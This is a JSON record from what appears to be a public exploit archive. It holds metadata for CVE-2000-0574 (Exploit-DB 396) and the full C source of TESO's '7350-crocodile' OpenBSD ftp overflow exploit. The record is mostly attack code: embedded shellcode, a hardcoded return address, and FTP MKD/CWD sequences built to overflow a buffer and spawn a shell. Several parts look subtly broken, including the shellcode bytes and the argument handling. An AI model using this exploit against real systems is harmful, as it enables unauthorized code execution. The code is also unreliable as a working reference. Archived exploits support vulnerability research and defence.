{"exploit":{"id":"EDB-396","name":"OpenBSD - 'ftp' Local Overflow","description":"OpenBSD - 'ftp' Local Overflow","cves":["CVE-2000-0574"],"author":"Teso","published":"2002-01-01","platform":"bsd","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/396","path":"exploits/bsd/local/396.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-396.c","vulnerabilities":[{"id":"CVE-2000-0574","state":"PUBLISHED","title":null,"titleSource":null,"description":"FTP servers such as OpenBSD ftpd, NetBSD ftpd, ProFTPd and Opieftpd do not properly cleanse untrusted format strings that are used in the setproctitle function (sometimes called by set_proc_title), which allows remote attackers to cause a denial of service or execute arbitrary commands.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2000-0574","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2000-0574"},"updatedAt":"2024-08-08T05:21:31.195Z","retrievedAt":"2026-11-26T12:05:47.747Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-396.png?v=2","url":"https://exploitbin.com/exploits/EDB-396","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-396/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-396/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/* 7350-crocodile - x86/OpenBSD ftp exploit\n *\n * by lorian and scut / TESO=20\n *\n *\n * TESO CONFIDENTIAL - SOURCE MATERIALS\n *\n * This is unpublished proprietary source code of TESO Security.\n *\n * The contents of these coded instructions, statements and computer\n * programs may not be disclosed to third parties, copied or duplicated in\n * any form, in whole or in part, without the prior written permission of\n * TESO Security. This includes especially the Bugtraq mailing list, the\n * www.hack.co.za website and any public exploit archive.\n *\n * (C) COPYRIGHT TESO Security, 2002\n * All Rights Reserved\n *\n *****************************************************************************\n *\n * greetz: synnergy, GOBBLES Security\n *\n */\n\n#include <stdio.h>\n#include <string.h>\n#define RET 0xbfffeb30\n\n\n#define VERSION  \"0.2.0\"\n#define USERNAME \"anonymous\"\n#define PASSWORD \"guest@\"\n\n\nchar shellcode[] =\n\n\"\\x32\\xdb\\x81\\xd1\\xb1\\x72\\xcd\\x83\"\n\"\\x21\\x21\\x31\\xc2\\x32\\xdb\\xb5\\x27\"\n\"\\xcd\\x71\\x23\\xc2\\xb3\\x72\\xcd\\x81\"\n\"\\x32\\xc1\\x12\\xdb\\xb4\\x3e\\xcd\\x81\"\n\"\\xeb\\x4f\\x35\\xc2\\x31\\xc1\\x5e\\xb1\"\n\"\\x32\\x7d\\x5e\\x98\\xfe\\xc2\\xb8\\xed\"\n\"\\xcd\\x79\\x38\\xc1\\x1d\\x3e\\x18\\xb1\"\n\"\\x3d\\xcd\\x82\\x32\\xc1\\xbb\\xd2\\xd2\"\n\"\\xd2\\xff\\xf2\\xdb\\x39\\xc1\\xb2\\x11\"\n\"\\x56\\x75\\xce\\x82\\x0e\\x81\\xc9\\x13\"\n\"\\xe5\\xf2\\x1e\\xb5\\x0d\\x8d\\x1e\\x11\"\n\"\\xcd\\x21\\x31\\xc2\\x09\\x42\\x21\\x19\"\n\"\\x70\\x48\\x21\\x41\\x9c\\xb3\\x2b\\x81\"\n\"\\xf1\\x2d\\x2e\\x18\\x1d\\x32\\x7c\\xcd\"\n\"\\x82\\xe2\\xac\\xff\\xff\\xff\";\n\nvoid mkd(char *dir)\n{\n        char blah[2048], *p;\n        int n;\n        bzero(blah, sizeof(blah));\n\n        p = blah;\n         for(n=1; n<strlen(dir); n++){\n                if(dir[n] == '\\xff'){\n                        *p = '\\xff';\n                        p++;\n                }\n                *p = dir[n];\n                p++;\n        }\n\n        printf(\"MKD %s\\r\\n\", blah);\n        printf(\"CWD %s\\r\\n\", blah);\n}\n\nvoid\nmain (int argc, char *argv[])\n{\n\nchar *buf;\nchar buf2[200];\nchar buf1[400];\nchar dir2[255];\nchar *p;\nchar *q;\nchar tmp[255];\nint a;\nint offset;\nint i;\n\n  if (argc > 0) offset = atoi(argv[0]);\n    else offset = 1;\n\nfprintf(stderr, \"ret-addr = 0x%x\\n\", RET + offset);\nfprintf(stderr, \"shell size = %d\\n\", sizeof(shellcode));\n\ndir2[231] = '\\1';\nmemset(dir2, '\\x70', 255);\n\n        printf(\"user %s\\r\\n\", USERNAME);\n        printf(\"pass %s\\r\\n\", PASSWORD);\n        printf(\"cwd %s\\r\\n\", argv[2]);\n\nmemset(buf1, 0x50, 150);\np = &buf1[sizeof(argv[0])];\nq = &buf1[399];\n*q = '\\x00';\nwhile(q <= p) {\n        strncpy(tmp, p, 80);\n        mkd(tmp);\n        p+=255; }\n\n        mkd(dir2);\n        mkd(shellcode);\n        mkd(\"bin\");\n        mkd(\"sh\");\n\n        memset(buf2, 0x30, 40);\n// var 96\nfor(i=4; i<20; i+=4)\n        *(long *)&buf2[i+1] = RET;\np = &buf2[0];\nq = &buf2[50];\nstrncpy(tmp, p, 20);\n mkd(tmp);\n printf(\"pwd\\r\\n\");\n}\n\n\n// milw0rm.com [2002-01-01]","sha256":"961254cf8f3bb34e82c4e5161ede393668431b1cfe598b629457d9e143d4ea91","bytes":2795,"fetchedAt":"2026-11-26T12:05:41.600Z","encoding":"utf-8 (display only; download retains original bytes)"}